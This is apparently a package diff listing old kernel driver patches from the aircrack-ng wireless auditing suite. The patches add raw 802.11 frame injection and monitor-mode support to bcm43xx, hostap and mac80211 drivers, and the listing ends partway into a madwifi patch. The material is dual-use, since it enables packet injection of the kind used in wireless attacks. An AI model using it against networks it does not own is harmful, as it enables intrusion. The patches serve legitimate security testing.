++++ linux-source-2.6.22-bcm43xx-patch/drivers/net/wireless/bcm43xx/bcm43xx_main.c	2007-10-08 10:13:12.000000000 +1300
+@@ -3324,9 +3324,17 @@
+ }
+ 
+ /* This is the opposite of bcm43xx_init_board() */
++
++static ssize_t bcm43xx_inject_nofcs(struct device *dev,
++                                    struct device_attribute *attr,
++                                    const char *buf,
++                                    size_t cnt);
++static DEVICE_ATTR(inject_nofcs, 0200,
++                   NULL, bcm43xx_inject_nofcs);
+ static void bcm43xx_free_board(struct bcm43xx_private *bcm)
+ {
+ 	bcm43xx_rng_exit(bcm);
++	device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs);
+ 	bcm43xx_sysfs_unregister(bcm);
+ 
+ 	mutex_lock(&(bcm)->mutex);
+@@ -3581,6 +3589,9 @@
+ 	return err;
+ }
+ 
++
++
++
+ static int bcm43xx_init_board(struct bcm43xx_private *bcm)
+ {
+ 	int err;
+@@ -3603,6 +3614,9 @@
+ 	err = bcm43xx_rng_init(bcm);
+ 	if (err)
+ 		goto err_sysfs_unreg;
++	err = device_create_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs);
++	if (err)
++		goto err_inject_if;
+ 	bcm43xx_periodic_tasks_setup(bcm);
+ 
+ 	/*FIXME: This should be handled by softmac instead. */
+@@ -3613,6 +3627,9 @@
+ 
+ 	return err;
+ 
++err_inject_if:
++	device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs);
++
+ err_sysfs_unreg:
+ 	bcm43xx_sysfs_unregister(bcm);
+ err_wlshutdown:
+@@ -3866,6 +3883,49 @@
+ 	return err;
+ }
+ 
++static ssize_t bcm43xx_inject_nofcs(struct device *dev,
++                                    struct device_attribute *attr,
++                                    const char *buf,
++                                    size_t cnt)
++{
++        struct bcm43xx_private *bcm = dev_to_bcm(dev);
++        struct ieee80211_txb *faketxb;
++        struct sk_buff *skb;
++        unsigned long flags;
++        int err = -ENODEV;
++
++        faketxb = kzalloc(sizeof(struct ieee80211_txb) + sizeof(void *), GFP_KERNEL);
++        if (!faketxb)
++                return -ENOMEM;
++        faketxb->nr_frags = 1;
++        faketxb->frag_size = cnt;
++        faketxb->payload_size = cnt;
++        skb = __dev_alloc_skb(cnt + bcm->ieee->tx_headroom, GFP_KERNEL);
++        if (!skb) {
++                kfree(faketxb);
++                return -ENOMEM;
++        }
++        skb_reserve(skb, bcm->ieee->tx_headroom);
++        memcpy(skb_put(skb, cnt), buf, cnt);
++        faketxb->fragments0 = skb;
++	
++	spin_lock_irqsave(&bcm->irq_lock, flags);
++	
++	if (likely(bcm43xx_status(bcm) == BCM43xx_STAT_INITIALIZED))
++		err = bcm43xx_tx(bcm, faketxb);
++	
++	spin_unlock_irqrestore(&bcm->irq_lock, flags);
++
++	if (unlikely(err)) {
++                dev_kfree_skb(skb);
++                kfree(faketxb);
++                return err;
++        }
++
++        return cnt;
++}
++
++
+ static void bcm43xx_ieee80211_set_chan(struct net_device *net_dev,
+ 				       u8 channel)
+ {

aircrack-ng-1.7.tar.gz/patches/old/hostap-kernel-2.6.17.patch Added

@@ -0,0 +1,350 @@
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_80211_tx.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_80211_tx.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_80211_tx.c	2006-07-15 23:35:27.000000000 -0400
+@@ -69,6 +69,9 @@
+ 	iface = netdev_priv(dev);
+ 	local = iface->local;
+ 
++	if (local->iw_mode == IW_MODE_MONITOR)
++		goto xmit;
++
+ 	if (skb->len < ETH_HLEN) {
+ 		printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb "
+ 		       "(len=%d)\n", dev->name, skb->len);
+@@ -234,6 +237,7 @@
+ 		memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN);
+ 	}
+ 
++xmit:
+ 	iface->stats.tx_packets++;
+ 	iface->stats.tx_bytes += skb->len;
+ 
+@@ -404,8 +408,6 @@
+ 	}
+ 
+ 	if (skb->len < 24) {
+-		printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb "
+-		       "(len=%d)\n", dev->name, skb->len);
+ 		ret = 0;
+ 		iface->stats.tx_dropped++;
+ 		goto fail;
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_cs.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_cs.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_cs.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_cs.c	2006-07-15 23:35:27.000000000 -0400
+@@ -830,58 +830,105 @@
+ }
+ 
+ static struct pcmcia_device_id hostap_cs_ids = {
+-	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100),
+-	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300),
+-	PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777),
+-	PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000),
+-	PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002),
+-	PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002),
+-	PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b),
+-	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612),
+-	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613),
+-	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002),
+-	PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002),
+-	PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001),
+-	PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001),
+-	PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300),
+-	PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000),
+-	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002),
+-	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005),
+-	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010),
++       PCMCIA_DEVICE_MANF_CARD(0x026f, 0x030b),
++       PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card
++       PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card
++       PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b
++//     PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24)
++       PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card
++       PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A
++       PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD
++       PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter
++//     PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :(
++//     PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24)
++//     PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24)
++       PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card
++       PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card
++//     PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI)
++//     PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI)
++//     PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24)
++       PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11
++       PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5
++       PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3
++       PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter
++       PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3)
++       PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100
++       PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter
++       PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer)
++       PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520
++       PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H
++       PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01
++       PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ?
++       PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100
++       PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030
++       PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC
++       PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11
++       PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i
++       PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300
++       PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw
++       PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2
++
++       PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6),
++
+ 	PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "INTERSIL",
+ 					 0x74c5e40d),
+ 	PCMCIA_DEVICE_MANF_CARD_PROD_ID1(0x0156, 0x0002, "Intersil",
+ 					 0x4b801a17),
+-	PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus",
+-				    0x7a954bd9, 0x74be00c6),
+-	PCMCIA_DEVICE_PROD_ID1234(
+-		"Intersil", "PRISM 2_5 PCMCIA ADAPTER",	"ISL37300P",
+-		"Eval-RevA",
+-		0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e),
+-	PCMCIA_DEVICE_PROD_ID123(
+-		"Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02",
+-		0xe6ec52ce, 0x08649af2, 0x4b74baa0),
+-	PCMCIA_DEVICE_PROD_ID123(
+-		"D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02",
+-		0x71b18589, 0xb6f1b0ab, 0x4b74baa0),
+-	PCMCIA_DEVICE_PROD_ID123(
+-		"Instant Wireless ", " Network PC CARD", "Version 01.02",
+-		0x11d901af, 0x6e9bd926, 0x4b74baa0),
+-	PCMCIA_DEVICE_PROD_ID123(
+-		"SMC", "SMC2632W", "Version 01.02",
+-		0xc4f8b18b, 0x474a1f2a, 0x4b74baa0),
+-	PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 
+-				0x2decece3, 0x82067c18),
+-	PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card",
+-				0x54f7c49c, 0x15a75e5b),
+-	PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE",
+-				0x74c5e40d, 0xdb472a18),
+-	PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card",
+-				0x0733cc81, 0x0c52f395),
+-	PCMCIA_DEVICE_PROD_ID12(
+-		"ZoomAir 11Mbps High", "Rate wireless Networking",
+-		0x273fe3db, 0x32a1eaee),
+-	PCMCIA_DEVICE_NULL
++
++       PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9),
++//     PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24
++       PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5),
++       PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0),
++       PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092),
++       PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f),
++       PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842),
++       PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e),
++//     PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb),
++//     PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18),
++//     PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b),
++       PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39),
++       PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584),
++       PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9),
++       PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac),
++       PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0),
++//     PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24
++       PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146),
++//     PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c),
++       PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0),
++//     PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18),
++       PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77),
++       PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e),
++       PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2),
++       PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18),
++       PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92),
++       PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395),
++//     PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI
++//     PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI
++//     PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01),
++//     PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI
++       PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1),
++       PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1),
++//     PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24
++       PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6),
++       PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed),
++       PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39),
++       PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264),
++       PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178),
++       PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9),
++       PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26),
++       PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b),
++//     PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24
++//     PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24
++       PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0),
++       PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39),
++       PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee),
++       PCMCIA_DEVICE_NULL
+ };
+ MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids);
+ 
+Only in linux-2.6.17.6-rawtx/drivers/net/wireless/hostap: hostap_cs.c.orig
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_hw.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_hw.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_hw.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_hw.c	2006-07-15 23:35:27.000000000 -0400
+@@ -1006,6 +1006,35 @@
+ 	return fid;
+ }
+ 
++static int prism2_monitor_enable(struct net_device *dev)
++{
++	if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) {
++		printk(KERN_DEBUG "Port type setting for monitor mode "
++			"failed\n");
++		return -EOPNOTSUPP;
++	}
++
++	if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8),
++			     0, NULL, NULL)) {
++		printk(KERN_DEBUG "Could not enter testmode 0x0a\n");
++		return -EOPNOTSUPP;
++	}
++
++	if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS,
++			    HFA384X_WEPFLAGS_PRIVACYINVOKED |
++			    HFA384X_WEPFLAGS_HOSTENCRYPT |
++			    HFA384X_WEPFLAGS_HOSTDECRYPT)) {
++		printk(KERN_DEBUG "WEP flags setting failed\n");
++		return -EOPNOTSUPP;
++	}
++
++	if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) {
++		printk(KERN_DEBUG "Could not set promiscuous mode\n");
++		return -EOPNOTSUPP;
++	}
++
++	return 0;
++}
+ 
+ static int prism2_reset_port(struct net_device *dev)
+ {
+@@ -1032,6 +1061,10 @@
+ 			       "port\n", dev->name);
+ 	}
+ 
++	if (local->iw_mode == IW_MODE_MONITOR)
++		/* force mode 0x0a after port 0 reset */
++		return prism2_monitor_enable(dev);
++
+ 	/* It looks like at least some STA firmware versions reset
+ 	 * fragmentation threshold back to 2346 after enable command. Restore
+ 	 * the configured value, if it differs from this default. */
+@@ -1464,6 +1497,10 @@
+ 		return 1;
+ 	}
+ 
++	if (local->iw_mode == IW_MODE_MONITOR)
++		/* force mode 0x0a after port 0 reset */
++		prism2_monitor_enable(dev);
++
+ 	local->hw_ready = 1;
+ 	local->hw_reset_tries = 0;
+ 	local->hw_resetting = 0;
+@@ -3146,6 +3183,7 @@
+ 	local->func->hw_config = prism2_hw_config;
+ 	local->func->hw_reset = prism2_hw_reset;
+ 	local->func->hw_shutdown = prism2_hw_shutdown;
++	local->func->monitor_enable = prism2_monitor_enable;
+ 	local->func->reset_port = prism2_reset_port;
+ 	local->func->schedule_reset = prism2_schedule_reset;
+ #ifdef PRISM2_DOWNLOAD_SUPPORT
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_ioctl.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_ioctl.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c	2006-07-15 23:35:27.000000000 -0400
+@@ -1104,33 +1104,7 @@
+ 
+ 	printk(KERN_DEBUG "Enabling monitor mode\n");
+ 	hostap_monitor_set_type(local);
+-
+-	if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE,
+-			    HFA384X_PORTTYPE_PSEUDO_IBSS)) {
+-		printk(KERN_DEBUG "Port type setting for monitor mode "
+-		       "failed\n");
+-		return -EOPNOTSUPP;
+-	}
+-
+-	/* Host decrypt is needed to get the IV and ICV fields;
+-	 * however, monitor mode seems to remove WEP flag from frame
+-	 * control field */
+-	if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS,
+-			    HFA384X_WEPFLAGS_HOSTENCRYPT |
+-			    HFA384X_WEPFLAGS_HOSTDECRYPT)) {
+-		printk(KERN_DEBUG "WEP flags setting failed\n");
+-		return -EOPNOTSUPP;
+-	}
+-
+-	if (local->func->reset_port(dev) ||
+-	    local->func->cmd(dev, HFA384X_CMDCODE_TEST |
+-			     (HFA384X_TEST_MONITOR << 8),
+-			     0, NULL, NULL)) {
+-		printk(KERN_DEBUG "Setting monitor mode failed\n");
+-		return -EOPNOTSUPP;
+-	}
+-
+-	return 0;
++	return local->func->reset_port(dev);
+ }
+ 
+ 
+@@ -1199,7 +1173,7 @@
+ 	local->iw_mode = *mode;
+ 
+ 	if (local->iw_mode == IW_MODE_MONITOR)
+-		hostap_monitor_mode_enable(local);
++		return hostap_monitor_mode_enable(local);
+ 	else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt &&
+ 		 !local->fw_encrypt_ok) {
+ 		printk(KERN_DEBUG "%s: defaulting to host-based encryption as "
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_main.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_main.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_main.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_main.c	2006-07-15 23:35:27.000000000 -0400
+@@ -332,7 +332,7 @@
+ 	if (local->iw_mode == IW_MODE_REPEAT)
+ 		return HFA384X_PORTTYPE_WDS;
+ 	if (local->iw_mode == IW_MODE_MONITOR)
+-		return HFA384X_PORTTYPE_PSEUDO_IBSS;
++		return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/
+ 	return HFA384X_PORTTYPE_HOSTAP;
+ }
+ 
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_pci.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_pci.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_pci.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_pci.c	2006-07-15 23:35:27.000000000 -0400
+@@ -49,6 +49,8 @@
+ 	{ 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID },
+ 	/* Samsung MagicLAN SWL-2210P */
+ 	{ 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID },
++	/* NETGEAR MA311 */
++	{ 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID },
+ 	{ 0 }
+ };
+ 
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_plx.c linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_plx.c
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_plx.c	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_plx.c	2006-07-15 23:35:27.000000000 -0400
+@@ -100,6 +100,7 @@
+ 	{ 0xc250, 0x0002 } /* EMTAC A2424i */,
+ 	{ 0xd601, 0x0002 } /* Z-Com XI300 */,
+ 	{ 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */,
++	{ 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */,
+ 	{ 0, 0}
+ };
+ 
+diff -ur linux-2.6.17.6/drivers/net/wireless/hostap/hostap_wlan.h linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_wlan.h
+--- linux-2.6.17.6/drivers/net/wireless/hostap/hostap_wlan.h	2006-07-15 15:00:43.000000000 -0400
++++ linux-2.6.17.6-rawtx/drivers/net/wireless/hostap/hostap_wlan.h	2006-07-15 23:35:27.000000000 -0400
+@@ -575,6 +575,7 @@
+ 	int (*hw_config)(struct net_device *dev, int initial);
+ 	void (*hw_reset)(struct net_device *dev);
+ 	void (*hw_shutdown)(struct net_device *dev, int no_disable);
++	int (*monitor_enable)(struct net_device *dev);
+ 	int (*reset_port)(struct net_device *dev);
+ 	void (*schedule_reset)(local_info_t *local);
+ 	int (*download)(local_info_t *local,

aircrack-ng-1.7.tar.gz/patches/old/mac80211_2.6.26-rc6-wl_frag.patch Added

aircrack-ng-1.7.tar.gz/patches/old/mac80211_2.6.26-rc6-wl_frag_v2.patch Added

aircrack-ng-1.7.tar.gz/patches/old/mac80211_2.6.28-rc4-wl_frag+ack.patch Added

@@ -0,0 +1,28 @@
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index 0855cac..221bed6 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -611,11 +611,20 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx)
+ 
+ 	/*
+ 	 * Packet injection may want to control the sequence
+-	 * number, if we have no matching interface then we
+-	 * neither assign one ourselves nor ask the driver to.
++	 * number, so if an injected packet is found, skip
++	 * renumbering it. Also make the packet NO_ACK to avoid
++	 * excessive retries (ACKing and retrying should be
++	 * handled by the injecting application).
++	 * FIXME This may break hostapd and some other injectors.
++	 * This should be done using a radiotap flag.
+ 	 */
+-	if (unlikely(!info->control.vif))
++	if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) &&
++	   (tx->sdata->vif.type == IEEE80211_IF_TYPE_MNTR) &&
++	   !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) {
++		if (!ieee80211_has_morefrags(hdr->frame_control))
++			info->flags |= IEEE80211_TX_CTL_NO_ACK;
+ 		return TX_CONTINUE;
++	}
+ 
+ 	if (unlikely(ieee80211_is_ctl(hdr->frame_control)))
+ 		return TX_CONTINUE;

aircrack-ng-1.7.tar.gz/patches/old/madwifi-ng-r1754.patch Added

@@ -0,0 +1,24 @@
+diff -ur madwifi-r1754/ath/if_ath.c patched_madwifi-r1754/ath/if_ath.c
+--- madwifi-r1754/ath/if_ath.c	2006-10-17 21:32:46.812500000 +0200
